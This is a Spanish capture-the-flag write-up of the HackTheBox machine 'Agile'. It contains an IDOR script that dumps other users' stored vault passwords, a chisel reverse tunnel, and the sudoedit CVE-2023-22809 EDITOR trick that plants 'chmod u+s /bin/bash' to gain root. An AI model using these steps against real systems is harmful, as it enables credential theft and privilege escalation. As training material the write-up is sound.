Agile es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Agile 10.10.11.203 a /etc/hosts como agile.htb y comenzamos con el escaneo de puertos nmap.
Hacemos un primer escaneo rápido
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.10.11.203 Nmap scan report for 10.10.11.203 Host is up, received user-set (0.060s latency). Scanned at 2023-06-01 13:39:40 GMT for 13s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Jun 1 13:39:53 2023 -- 1 IP address (1 host up) scanned in 13.07 seconds |
Y posteriormente uno más a fondo sobre los puertos detectados
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.203 Nmap scan report for agile.htb (10.10.11.203) Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA) |_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Welcome to nginx! |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jun 1 13:41:44 2023 -- 1 IP address (1 host up) scanned in 8.80 seconds |
Enumeración
Accedemos a través del navegador al puerto 80 y nos redirecciona al site superpass.htb así que lo añadimos al fichero hosts y entramos de nuevo
Se trata de una aplicación de almacén de contraseñas, y como no tenemos cuenta, nos creamos una y accedemos
Revisamos un poco la aplicación, probamos a crear una clave y exportamos la misma, observando que nos genera un csv con el contenido de nuestras claves, así que vamos a interceptar la petición con burp, y después de algunas pruebas, conseguimos explotar un LFI
Revisamos el contenido del fichero passwd obtenido y descubrimos 4 posibles usuarios
1 |
corum, runner, edwards, dev_admin |
Siguiendo con nuestras pruebas, y visto que no conseguimos mucho más, accedemos a un fichero que no existe en el servidor para forzar un error y obtenemos la ruta donde se encuentra la aplicación
Así que vamos a obtener el fichero vault_views.py y su contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 |
import flask import subprocess from flask_login import login_required, current_user from superpass.infrastructure.view_modifiers import response import superpass.services.password_service as password_service from superpass.services.utility_service import get_random from superpass.data.password import Password blueprint = flask.Blueprint('vault', __name__, template_folder='templates') @blueprint.route('/vault') @response(template_file='vault/vault.html') @login_required def vault(): passwords = password_service.get_passwords_for_user(current_user.id) print(f'{passwords=}') return {'passwords': passwords} @blueprint.get('/vault/add_row') @response(template_file='vault/partials/password_row_editable.html') @login_required def add_row(): p = Password() p.password = get_random(20) return {"p": p} @blueprint.get('/vault/edit_row/<id>') @response(template_file='vault/partials/password_row_editable.html') @login_required def get_edit_row(id): password = password_service.get_password_by_id(id, current_user.id) return {"p": password} @blueprint.get('/vault/row/<id>') @response(template_file='vault/partials/password_row.html') @login_required def get_row(id): password = password_service.get_password_by_id(id, current_user.id) return {"p": password} @blueprint.post('/vault/add_row') @login_required def add_row_post(): r = flask.request site = r.form.get('url', '').strip() username = r.form.get('username', '').strip() password = r.form.get('password', '').strip() if not (site or username or password): return '' p = password_service.add_password(site, username, password, current_user.id) return flask.render_template('vault/partials/password_row.html', p=p) @blueprint.post('/vault/update/<id>') @response(template_file='vault/partials/password_row.html') @login_required def update(id): r = flask.request site = r.form.get('url', '').strip() username = r.form.get('username', '').strip() password = r.form.get('password', '').strip() if not (site or username or password): flask.abort(500) p = password_service.update_password(id, site, username, password, current_user.id) return {"p": p} @blueprint.delete('/vault/delete/<id>') @login_required def delete(id): password_service.delete_password(id, current_user.id) return '' @blueprint.get('/vault/export') @login_required def export(): if current_user.has_passwords: fn = password_service.generate_csv(current_user) return flask.redirect(f'/download?fn={fn}', 302) return "No passwords for user" @blueprint.get('/download') @login_required def download(): r = flask.request fn = r.args.get('fn') with open(f'/tmp/{fn}', 'rb') as f: data = f.read() resp = flask.make_response(data) resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv' resp.mimetype = 'text/csv' return resp |
Revisamos a fondo el código y encontramos una parte muy interesante
1 2 3 4 5 6 7 |
@blueprint.get('/vault/row/<id>') @response(template_file='vault/partials/password_row.html') @login_required def get_row(id): password = password_service.get_password_by_id(id, current_user.id) return {"p": password} |
Según está función, si accedemos a la ruta /vault/row/ indicando el id del usuario podemos obtener las claves del mismo, vamos a verificar que funciona, y funciona, así que vamos a generar un pequeño script que revise en todos a ver que sacamos.
El script es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#!/usr/bin/python3 import requests, bs4 from pwn import log target = "http://superpass.htb" session = requests.Session() data = {"username": "bytemind", "password": "bytemind", "submit": ""} session.post(target + "/account/login", data=data) for id in range(0,50): request = session.get(target + "/vault/row/" + str(id)) soup = bs4.BeautifulSoup(request.content, "html.parser") rows = soup.find_all("tr", class_="password-row") for row in rows: cols = row.find_all("td") sitename = cols[1].get_text() username = cols[2].get_text() password = cols[3].get_text() if sitename != "": print("Row: %s" %(id)) print("Sitename: %s" %(sitename)) print("Username: %s" %(username)) print("Password: %s" %(password)) print("\r") |
Y lo ejecutamos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ python3 exploit.py Row 3: Sitename: hackthebox.com Username: 0xdf Password: 762b430d32eea2f12970 Row 4: Sitename: mgoblog.com Username: 0xdf Password: 5b133f7a6a1c180646cb Row 6: Sitename: mgoblog Username: corum Password: 47ed1e73c955de230a1d Row 7: Sitename: ticketmaster Username: corum Password: 9799588839ed0f98c211 Row 8: Sitename: agile Username: corum Password: 5db7caa1d13cc37c9fc2 Row: 10 Sitename: bytemind Username: bytemind Password: 8065bc7130d7df98807b |
Y conseguimos las claves de varios usuarios. Tal y como vimos en el fichero passwd, tenemos el usuario corum, así que vamos a probar el acceso por ssh con el mismo.
Obteniendo la flag de user
Entramos por ssh con el usuario corum, y cogemos nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ssh corum@agile.htb corum@agile.htb's password: Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 8 15:25:35 2023 from 10.10.14.47 corum@agile:~$ id uid=1000(corum) gid=1000(corum) groups=1000(corum) corum@agile:~$ ls -l total 4 -rw-r----- 1 root corum 33 Jun 1 19:25 user.txt corum@agile:~$ cat user.txt 15xxxxxxxxxxxxxxxxxxxxxxxxxx33 corum@agile:~$ |
Escalado al usuario edwards
El siguiente paso será enumerar la máquina, en primer lugar, veamos si el usuario tiene permisos de sudo
1 2 3 |
corum@agile:~$ sudo -l [sudo] password for corum: Sorry, user corum may not run sudo on agile. |
Pero nada, así que seguimos y encontramos un puerto interesante
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
corum@agile:~$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:41959 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:41829 127.0.0.1:49692 ESTABLISHED tcp 0 0 127.0.0.1:41959 127.0.0.1:44708 ESTABLISHED tcp 0 0 10.10.11.203:46848 10.10.14.3:9000 TIME_WAIT tcp 0 52 10.10.11.203:22 10.10.14.3:35120 ESTABLISHED tcp 0 0 127.0.0.1:41829 127.0.0.1:49694 ESTABLISHED tcp 0 0 127.0.0.1:49692 127.0.0.1:41829 ESTABLISHED tcp 0 0 127.0.0.1:49694 127.0.0.1:41829 ESTABLISHED tcp 150 0 127.0.0.1:40742 127.0.0.1:3306 CLOSE_WAIT tcp 150 0 127.0.0.1:53470 127.0.0.1:3306 CLOSE_WAIT tcp 0 0 127.0.0.1:44708 127.0.0.1:41959 ESTABLISHED tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::1:41959 :::* LISTEN |
El puerto 5555 sólo tiene acceso en local, y si revisamos la configuración del nginx apunta al site test.superpass.htb y sólo escucha en localhost
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
corum@agile:~$ cat /etc/nginx/sites-enabled/superpass-test.nginx server { listen 127.0.0.1:80; server_name test.superpass.htb; location /static { alias /app/app-testing/superpass/static; expires 365d; } location / { include uwsgi_params; proxy_pass http://127.0.0.1:5555; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Protocol $scheme; } } |
Así que vamos a usar chisel para crear un tunel que nos permita acceder al mismo, ejecutamos el servidor en nuestro kali
1 2 3 4 |
$ ./chisel server -p 9000 --reverse 2023/06/01 20:41:21 server: Reverse tunnelling enabled 2023/06/01 20:41:21 server: Fingerprint Ds/GAyJyAiPJQ76H6BjHq1efsC5IHU2QkawA0rZ8Nwg= 2023/06/01 20:41:21 server: Listening on http://0.0.0.0:9000 |
Y el cliente en la máquina de agile
1 2 3 |
corum@agile:~$ ./chisel client 10.10.14.3:9000 R:5555:127.0.0.1:5555 2023/06/01 20:41:17 client: Connecting to ws://10.10.14.3:9000 2023/06/01 20:41:18 client: Connected (Latency 42.964771ms) |
Y accedemos al navegador, donde vemos que se trata de otra página igual a la anterior, por lo que podemos explotar la misma vulnerabilidad.
Hacemos una simple consulta al id 1 y obtenemos unas credenciales del usuario edwards
Así que las utilizamos para acceder con el mismo
1 2 3 4 5 |
corum@agile:~$ su - edwards Password: edwards@agile:~$ id uid=1002(edwards) gid=1002(edwards) groups=1002(edwards) edwards@agile:~$ |
Escalado de privilegios
Bueno, ya queda menos, volvemos a empezar a enumerar, comenzando por los permisos de sudo
1 2 3 4 5 6 7 |
edwards@agile:~$ sudo -l Matching Defaults entries for edwards on agile: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User edwards may run the following commands on agile: (dev_admin : dev_admin) sudoedit /app/config_test.json (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt |
Y este usuario tiene permisos para utilizar sudoedit como el usuario dev_admin, así que para verificar si podemos abusar del mismo revisamos la versión instalada de sudo
1 2 3 4 5 6 |
edwards@agile:~$ sudo --version Sudo version 1.9.9 Sudoers policy plugin version 1.9.9 Sudoers file grammar version 48 Sudoers I/O plugin version 1.9.9 Sudoers audit plugin version 1.9.9 |
Así que vamos a buscar en google y encontramos la vulnerabilidad CVE-2023-22809 y un post donde explica como explotarla. Así que vamos a ello.
En primer lugar, buscaremos si hay algún proceso en el sistema del que podamos a provecharnos, y encontramos uno en la ruta /app/venv/bin/activate al analizar los procesos con pspy
Así que la utilizaremos para obtener nuestro escalado.
Siguiendo el post, el primer paso será generar la variable EDITOR
1 |
edwards@agile:~$ export EDITOR="vim -- /app/venv/bin/activate" |
Continuaremos con la ejecución de sudoedit
1 |
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json |
Y añadiremos la siguiente línea al principio del fichero para conseguir permisos de suid en el binario de bash
1 |
chmod u+s /bin/bash |
Guardamos, cerramos y revisamos
1 2 |
edwards@agile:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash |
Y ha funcionado, ya tiene permisos de suid.
Obteniendo la flag de root
Como último paso, escalamos a root y cogemos la flag
1 2 3 4 5 6 7 |
edwards@agile:~$ /bin/bash -p edwards@agile:~# id uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards) edwards@agile:~# cd /root/ edwards@agile:/root# cat root.txt cexxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2c edwards@agile:/root# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace